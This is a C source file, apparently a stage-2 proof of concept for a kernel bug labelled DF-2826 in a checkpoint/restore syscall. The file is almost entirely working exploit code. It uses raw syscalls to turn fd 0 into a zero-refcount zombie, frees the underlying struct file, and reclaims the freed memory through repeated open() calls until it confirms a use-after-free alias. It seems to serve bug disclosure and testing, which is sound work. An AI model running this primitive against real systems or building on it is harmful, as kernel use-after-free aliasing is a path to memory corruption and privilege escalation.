DF-2826 / stage2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | /* * DF-2826 stage-2: executes as the restored program after CKPT_THAW. * Demonstrates, in order: * 1. CKPT_THAW "succeeded" (we are alive at the restored RIP) even * though elf_getfiles() aborted mid-restore. * 2. The stolen reference left the checkpoint file at f_count == 0 * while fd 0 still references it (zombie) -> first read(0) * frees the struct file mid-use (premature free). * 3. The freed struct file is reclaimed by a new open() -> fd 0 now * aliases a completely different file (cross-object UAF). * * Freestanding: no libc, raw syscalls, linked at 0x60000000. */ #define SYS_read 3 #define SYS_write 4 #define SYS_open 5 #define SYS_exit 1 #define SYS_close 6 static long sys3(long n, long a, long b, long c) { long r; __asm__ volatile("syscall" : "=a"(r) : "a"(n), "D"(a), "S"(b), "d"(c) : "rcx", "r11", "memory"); return r; } #define w(s) sys3(SYS_write, 1, (long)(s), sizeof(s)-1) __asm__(".globl _start\n_start: jmp cstart\n"); void __attribute__((noreturn)) cstart(void) { static const char path[] = "/tmp/df2826/dummy"; static const char rpath[] = "/tmp/df2826/reclaim"; char buf[128]; long fd, rc, i; w("STAGE2: alive after CKPT_THAW (syscall reported success)\n"); /* 12 cached fd ops on new descriptors -> LRU-evicts the fd0 cache * entry, which drops the phantom reference: f_count 2->...->0 with * fd0 still installed (zombie state). */ for (i = 0; i < 12; i++) { fd = sys3(SYS_open, (long)path, 0 /*O_RDONLY*/, 0); if (fd < 0) { w("STAGE2: open dummy failed\n"); sys3(SYS_exit, 41, 0, 0); } sys3(SYS_read, fd, (long)buf, 0); /* cached holdfp op */ sys3(SYS_close, fd, 0, 0); } w("STAGE2: fd0 should now be a zero-refcount zombie\n"); /* This read(0) fhold()s the zombie (0->1), reads the *old* checkpoint * file data (still intact), then fdrop() takes it to 0 -> the struct * file is freed while fd0 still points at it. */ rc = sys3(SYS_read, 0, (long)buf, 4); w("STAGE2: read(0) rc="); buf[10] = (char)('0' + (rc < 0 ? 9 : (rc > 9 ? 9 : rc))); buf[11] = '\n'; sys3(SYS_write, 1, (long)(buf + 10), 2); if (rc == 4 && buf[0] == 0x7f && buf[1] == 'E' && buf[2] == 'L' && buf[3] == 'F') { w("STAGE2: zombie read returned ckpt-image bytes (\\x7fELF)\n"); } w("STAGE2: fd0 now references freed memory; reclaiming...\n"); /* Reclaim: falloc() reuses the just-freed M_FILE chunk (per-CPU * LIFO). fd0 and the new fd then alias one struct file. Probe by * reading through fd0 until we see the reclaim-file marker. */ for (i = 0; i < 24; i++) { fd = sys3(SYS_open, (long)rpath, 0, 0); if (fd < 0) break; sys3(SYS_read, fd, (long)buf, 0); rc = sys3(SYS_read, 0, (long)buf, 14); if (rc == 14) { static const char ok[] = "MARKER-DF2826"; int match = 1, k; for (k = 0; k < 13; k++) if (buf[k] != ok[k]) match = 0; if (match) { w("STAGE2: UAF-ALIAS CONFIRMED: read(0) returned " "the reclaim file's content:\nSTAGE2: \""); sys3(SYS_write, 1, (long)buf, 13); w("\"\nSTAGE2: fd0 <-> fd of /tmp/df2826/reclaim " "are the same struct file\n"); sys3(SYS_exit, 42, 0, 0); } } sys3(SYS_close, fd, 0, 0); } w("STAGE2: no alias observed this run\n"); sys3(SYS_exit, 43, 0, 0); } |